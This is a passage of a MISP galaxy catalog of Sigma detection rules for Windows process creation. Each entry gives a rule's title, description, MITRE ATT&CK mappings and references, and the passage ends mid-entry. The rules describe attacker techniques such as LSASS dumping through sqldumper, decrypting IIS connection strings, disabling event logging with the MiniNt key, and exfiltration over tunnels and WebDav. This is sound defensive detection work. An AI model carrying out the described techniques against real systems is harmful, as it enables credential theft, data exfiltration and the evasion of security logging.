https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_udl_exec.yml

Tap Installer Execution

Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques

The tag is: *misp-galaxy:sigma-rules="Tap Installer Execution"*

View relationships graph

Tap Installer Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"

Table 15956. Table References

Links
https://community.openvpn.net/openvpn/wiki/ManagingWindowsTAPDrivers
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tapinstall_execution.yml

Permission Check Via Accesschk.EXE

Detects the usage of the "Accesschk" utility, an access and privilege audit tool developed by SysInternal and often being abused by attacker to verify process privileges

The tag is: *misp-galaxy:sigma-rules="Permission Check Via Accesschk.EXE"*

View relationships graph

Permission Check Via Accesschk.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

Table 15957. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment?slide=43
https://github.com/gladiatx0r/Powerless/blob/04f553bbc0c65baf4e57344deff84e3f016e6b51/Powerless.bat
https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat
https://www.youtube.com/watch?v=JGs-aKf2OtU&ab_channel=OFFZONEMOSCOW
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_accesschk_check_permissions.yml

Suspicious File Download From File Sharing Domain Via Wget.EXE

Detects potentially suspicious file downloads from file sharing domains using wget.exe

The tag is: *misp-galaxy:sigma-rules="Suspicious File Download From File Sharing Domain Via Wget.EXE"*

Table 15958. Table References

Links

https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/
https://labs.withsecure.com/publications/fin7-target-veeam-servers
https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wget_download_susp_file_sharing_domains.yml

Suspicious Msiexec Quiet Install From Remote Location

Detects usage of Msiexec.exe to install packages hosted remotely quietly

The tag is: *misp-galaxy:sigma-rules="Suspicious Msiexec Quiet Install From Remote Location"*

View relationships graph

Suspicious Msiexec Quiet Install From Remote Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

Table 15959. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_remote.yml

Exports Registry Key To a File

Detects the export of the target Registry key to a file.

The tag is: *misp-galaxy:sigma-rules="Exports Registry Key To a File"*

View relationships graph

Exports Registry Key To a File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 15960. Table References

Links
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

https://lolbas-project.github.io/lolbas/Binaries/Regedit/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_keys.yml

Local Accounts Discovery

Local accounts, System Owner/User discovery using operating systems utilities

The tag is: *misp-galaxy:sigma-rules="Local Accounts Discovery"*

View relationships graph

Local Accounts Discovery has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

Table 15961. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_local_system_owner_account_discovery.yml

MSDT Execution Via Answer File

Detects execution of "msdt.exe" using an answer file which is simulating the legitimate way of calling msdt via "pcwrun.exe" (For example from the compatibility tab).

The tag is: *misp-galaxy:sigma-rules="MSDT Execution Via Answer File"*

View relationships graph

MSDT Execution Via Answer File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15962. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Msdt/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_answer_file_exec.yml

Suspicious PowerShell Invocations - Specific - ProcessCreation

Detects suspicious PowerShell invocation command parameters

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Invocations - Specific - ProcessCreation"*

Table 15963. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_invocation_specific.yml

7Zip Compressing Dump Files

Detects execution of 7z in order to compress a file with a ".dmp"/".dump" extension, which could be a step in a process of dump file exfiltration.

The tag is: *misp-galaxy:sigma-rules="7Zip Compressing Dump Files"*

View relationships graph

7Zip Compressing Dump Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 15964. Table References

Links
https://thedfirreport.com/2022/09/26/bumblebee-round-two/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_exfil_dmp_files.yml

Potential DLL File Download Via PowerShell Invoke-WebRequest

Detects potential DLL files being downloaded using the PowerShell Invoke-WebRequest or Invoke-RestMethod cmdlets.

The tag is: *misp-galaxy:sigma-rules="Potential DLL File Download Via PowerShell Invoke-WebRequest"*

View relationships graph

Potential DLL File Download Via PowerShell Invoke-WebRequest has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15965. Table References

Links
https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_dll.yml

Renamed Gpg.EXE Execution

Detects the execution of a renamed "gpg.exe". Often used by ransomware and loaders to decrypt/encrypt data.

The tag is: *misp-galaxy:sigma-rules="Renamed Gpg.EXE Execution"*

View relationships graph

Renamed Gpg.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Table 15966. Table References

Links
https://securelist.com/locked-out/68960/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_gpg4win.yml

Suspicious VBoxDrvInst.exe Parameters

Detect VBoxDrvInst.exe run with parameters allowing processing INF file. This allows to create values in the registry and install drivers. For example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys

The tag is: *misp-galaxy:sigma-rules="Suspicious VBoxDrvInst.exe Parameters"*

View relationships graph

Suspicious VBoxDrvInst.exe Parameters has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15967. Table References

Links
https://twitter.com/pabraeken/status/993497996179492864
https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OtherBinaries/VBoxDrvInst.yml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_virtualbox_vboxdrvinst_execution.yml

Compressed File Creation Via Tar.EXE

Detects execution of "tar.exe" in order to create a compressed file. Adversaries may abuse various utilities to compress or encrypt data before exfiltration.

The tag is: *misp-galaxy:sigma-rules="Compressed File Creation Via Tar.EXE"*

View relationships graph

Compressed File Creation Via Tar.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 15968. Table References

Links
https://unit42.paloaltonetworks.com/chromeloader-malware/
https://lolbas-project.github.io/lolbas/Binaries/Tar/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tar_compression.yml

Remote File Download Via Desktopimgdownldr Utility

Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil.

The tag is: *misp-galaxy:sigma-rules="Remote File Download Via Desktopimgdownldr Utility"*

View relationships graph

Remote File Download Via Desktopimgdownldr Utility has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-

language:likelihood-probability="almost-certain"

Table 15969. Table References

Links
https://www.elastic.co/guide/en/security/current/remote-file-download-via-desktopimgdownldr-utility.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_remote_file_download.yml

Uncommon One Time Only Scheduled Task At 00:00

Detects scheduled task creation events that include suspicious actions, and is run once at 00:00

The tag is: *misp-galaxy:sigma-rules="Uncommon One Time Only Scheduled Task At 00:00"*

View relationships graph

Uncommon One Time Only Scheduled Task At 00:00 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 15970. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_one_time_only_midnight_task.yml

MMC Executing Files with Reversed Extensions Using RTLO Abuse

Detects malicious behavior where the MMC utility (`mmc.exe`) executes files with reversed extensions caused by Right-to-Left Override (RLO) abuse, disguising them as document formats.

The tag is: *misp-galaxy:sigma-rules="MMC Executing Files with Reversed Extensions Using RTLO Abuse"*

View relationships graph

MMC Executing Files with Reversed Extensions Using RTLO Abuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="MMC - T1218.014" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002" with estimative-language:likelihood-probability="almost-certain"

Table 15971. Table References

Links
https://tria.ge/241015-l98snsyeje/behavioral2
https://en.wikipedia.org/wiki/Right-to-left_override
https://www.unicode.org/versions/Unicode5.2.0/ch02.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_rlo_abuse_pattern.yml

Uncommon Child Process Of Conhost.EXE

Detects uncommon "conhost" child processes. This could be a sign of "conhost" usage as a LOLBIN or potential process injection activity.

The tag is: *misp-galaxy:sigma-rules="Uncommon Child Process Of Conhost.EXE"*

View relationships graph

Uncommon Child Process Of Conhost.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15972. Table References

Links
http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_susp_child_process.yml

Potential Shim Database Persistence via Sdbinst.EXE

Detects installation of a new shim using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims

The tag is: *misp-galaxy:sigma-rules="Potential Shim Database Persistence via Sdbinst.EXE"*

View relationships graph

Potential Shim Database Persistence via Sdbinst.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011" with estimative-language:likelihood-probability="almost-certain"

Table 15973. Table References

Links
https://www.mandiant.com/resources/blog/fin7-shim-databases-persistence
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdbinst_shim_persistence.yml

Security Event Logging Disabled via MiniNt Registry Key - Process

Detects attempts to disable security event logging by adding the `MiniNt` registry key. This key is used to disable the Windows Event Log service, which collects and stores event logs from the operating system and applications. Adversaries may want to disable this service to prevent logging of security events that could be used to detect their activities.

The tag is: *misp-galaxy:sigma-rules="Security Event Logging Disabled via MiniNt Registry Key - Process"*

View relationships graph

Security Event Logging Disabled via MiniNt Registry Key - Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15974. Table References

Links
https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_event_logging_disable_via_key_minint.yml

Audio Capture via PowerShell

Detects audio capture via PowerShell Cmdlet.

The tag is: *misp-galaxy:sigma-rules="Audio Capture via PowerShell"*

View relationships graph

Audio Capture via PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

Table 15975. Table References

Links
https://github.com/frgnca/AudioDeviceCmdlets
https://eqllib.readthedocs.io/en/latest/analytics/ab7a6ef4-0983-4275-a4f1-5c6bd3c31c23.html
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_audio_capture.yml

HackTool - SharpView Execution

Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems

The tag is: *misp-galaxy:sigma-rules="HackTool - SharpView Execution"*

View relationships graph

HackTool - SharpView Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 15976. Table References

Links
https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-4---system-discovery-using-sharpview
https://github.com/tevora-threat/SharpView/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpview.yml

Automated Collection Command Prompt

Once established within a system or network, an adversary may use automated techniques for collecting internal data.

The tag is: *misp-galaxy:sigma-rules="Automated Collection Command Prompt"*

View relationships graph

Automated Collection Command Prompt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 15977. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_automated_collection.yml

Microsoft IIS Connection Strings Decryption

Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.

The tag is: *misp-galaxy:sigma-rules="Microsoft IIS Connection Strings Decryption"*

View relationships graph

Microsoft IIS Connection Strings Decryption has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 15978. Table References

Links
https://www.elastic.co/guide/en/security/current/microsoft-iis-connection-strings-decryption.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_connection_strings_decryption.yml

Whoami.EXE Execution From Privileged Process

Detects the execution of "whoami.exe" by privileged accounts that are often abused by threat actors

The tag is: *misp-galaxy:sigma-rules="Whoami.EXE Execution From Privileged Process"*

View relationships graph

Whoami.EXE Execution From Privileged Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 15979. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment
https://web.archive.org/web/20221019044836/https://nsudo.m2team.org/en-us/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_execution_from_high_priv_process.yml

WebDav Client Execution Via Rundll32.EXE

Detects "svchost.exe" spawning "rundll32.exe" with command arguments like "C:\windows\system32\davclnt.dll,DavSetCookie". This could be an indicator of exfiltration or use of WebDav to launch code (hosted on a WebDav server).

The tag is: *misp-galaxy:sigma-rules="WebDav Client Execution Via Rundll32.EXE"*

View relationships graph

WebDav Client Execution Via Rundll32.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 15980. Table References

Links
https://github.com/OTRF/detection-hackathon-apt29/issues/17
https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/7.B.4_C10730EA-6345-4934-AA0F-B0EFCA0C4BA6.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_webdav_client_execution.yml

Potential CommandLine Path Traversal Via Cmd.EXE

Detects potential path traversal attempt via cmd.exe. Could indicate possible command/argument confusion/hijacking

The tag is: *misp-galaxy:sigma-rules="Potential CommandLine Path Traversal Via Cmd.EXE"*

View relationships graph

Potential CommandLine Path Traversal Via Cmd.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 15981. Table References

Links
https://twitter.com/Oddvarmoe/status/1270633613449723905
https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_path_traversal.yml

Visual Studio Code Tunnel Shell Execution

Detects the execution of a shell (powershell, bash, wsl...) via Visual Studio Code tunnel. Attackers can abuse this functionality to establish a C2 channel and execute arbitrary commands on the system.

The tag is: *misp-galaxy:sigma-rules="Visual Studio Code Tunnel Shell Execution"*

View relationships graph

Visual Studio Code Tunnel Shell Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 15982. Table References

Links
https://ipfyx.fr/post/visual-studio-code-tunnel/
https://badoption.eu/blog/2023/01/31/code_c2.html
https://code.visualstudio.com/docs/remote/tunnels
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_tunnel_remote_shell_.yml

Schedule Task Creation From Env Variable Or Potentially Suspicious Path Via Schtasks.EXE

Detects Schtask creations that point to a suspicious folder or an environment variable often used by malware

The tag is: *misp-galaxy:sigma-rules="Schedule Task Creation From Env Variable Or Potentially Suspicious Path Via Schtasks.EXE"*

View relationships graph

Schedule Task Creation From Env Variable Or Potentially Suspicious Path Via Schtasks.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 15983. Table References

Links
https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04
https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/
https://blog.talosintelligence.com/gophish-powerrat-dcrat/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_env_folder.yml

Suspicious ScreenSave Change by Reg.exe

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension

The tag is: *misp-galaxy:sigma-rules="Suspicious ScreenSave Change by Reg.exe"*

View relationships graph

Suspicious ScreenSave Change by Reg.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Screensaver - T1546.002" with estimative-language:likelihood-probability="almost-certain"

Table 15984. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_screensaver.yml

Suspicious Plink Port Forwarding

Detects suspicious Plink tunnel port forwarding to a local port

The tag is: *misp-galaxy:sigma-rules="Suspicious Plink Port Forwarding"*

View relationships graph

Suspicious Plink Port Forwarding has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 15985. Table References

Links
https://www.real-sec.com/2019/04/bypassing-network-restrictions-through-rdp-tunneling/
https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plink_port_forwarding.yml

Suspicious Execution of Hostname

Use of hostname to get information

The tag is: *misp-galaxy:sigma-rules="Suspicious Execution of Hostname"*

View relationships graph

Suspicious Execution of Hostname has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 15986. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-6---hostname-discovery-windows
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/hostname

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hostname_execution.yml

Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE Check if the user that executed the commands is suspicious (e.g. service accounts, LOCAL_SYSTEM)

The tag is: *misp-galaxy:sigma-rules="Suspicious Group And Account Reconnaissance Activity Using Net.EXE"*

View relationships graph

Suspicious Group And Account Reconnaissance Activity Using Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

Table 15987. Table References

Links
https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/
https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/
https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_groups_and_accounts_recon.yml

Suspicious Process Start Locations

Detects suspicious process run from unusual locations

The tag is: *misp-galaxy:sigma-rules="Suspicious Process Start Locations"*

View relationships graph

Suspicious Process Start Locations has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 15988. Table References

Links

https://car.mitre.org/wiki/CAR-2013-05-002
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_run_locations.yml

Msiexec Quiet Installation

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)

The tag is: *misp-galaxy:sigma-rules="Msiexec Quiet Installation"*

View relationships graph

Msiexec Quiet Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

Table 15989. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec
https://twitter.com/*st0pp3r*/status/1583914244344799235
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_quiet.yml

Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 4

Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.

The tag is: *misp-galaxy:sigma-rules="Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 4"*

Table 15990. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_emoji_usage_in_cli_4.yml

Potential Provisioning Registry Key Abuse For Binary Proxy Execution

Detects potential abuse of the provisioning registry key for indirect command execution through "Provlaunch.exe".

The tag is: *misp-galaxy:sigma-rules="Potential Provisioning Registry Key Abuse For Binary Proxy Execution"*

View relationships graph

Potential Provisioning Registry Key Abuse For Binary Proxy Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15991. Table References

Links
https://twitter.com/0gtweet/status/1674399582162153472
https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_provlaunch_provisioning_command.yml

Browser Execution In Headless Mode

Detects execution of Chromium based browser in headless mode

The tag is: *misp-galaxy:sigma-rules="Browser Execution In Headless Mode"*

View relationships graph

Browser Execution In Headless Mode has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

Table 15992. Table References

Links
https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html
https://twitter.com/mrd0x/status/1478234484881436672?s=12
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_exec.yml

CodePage Modification Via MODE.COM To Russian Language

Detects a CodePage modification using the "mode.com" utility to Russian language. This behavior has been used by threat actors behind Dharma ransomware.

The tag is: *misp-galaxy:sigma-rules="CodePage Modification Via MODE.COM To Russian Language"*

View relationships graph

CodePage Modification Via MODE.COM To Russian Language has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 15993. Table References

Links
https://strontic.github.io/xcyclopedia/library/mode.com-59D1ED51ACB8C3D50F1306FD75F20E99.html
https://www.virustotal.com/gui/file/5e75ef02517afd6e8ba6462b19217dc4a5a574abb33d10eb0f2bab49d8d48c22/behavior
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mode
https://learn.microsoft.com/en-us/windows/win32/intl/code-page-identifiers
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mode_codepage_russian.yml

Dumping Process via Sqldumper.exe

Detects process dump via legitimate sqldumper.exe binary

The tag is: *misp-galaxy:sigma-rules="Dumping Process via Sqldumper.exe"*

View relationships graph

Dumping Process via Sqldumper.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15994. Table References

Links
https://twitter.com/countuponsec/status/910969424215232518
https://twitter.com/countuponsec/status/910977826853068800
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml

PUA - AdvancedRun Suspicious Execution

Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts

The tag is: *misp-galaxy:sigma-rules="PUA - AdvancedRun Suspicious Execution"*

View relationships graph

PUA - AdvancedRun Suspicious Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"

Table 15995. Table References

Links
https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3
https://twitter.com/splinter_code/status/1483815103279603714
https://www.elastic.co/security-labs/operation-bleeding-bear
https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_advancedrun_priv_user.yml

Direct Autorun Keys Modification

Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.

The tag is: *misp-galaxy:sigma-rules="Direct Autorun Keys Modification"*

View relationships graph

Direct Autorun Keys Modification has relationships with:

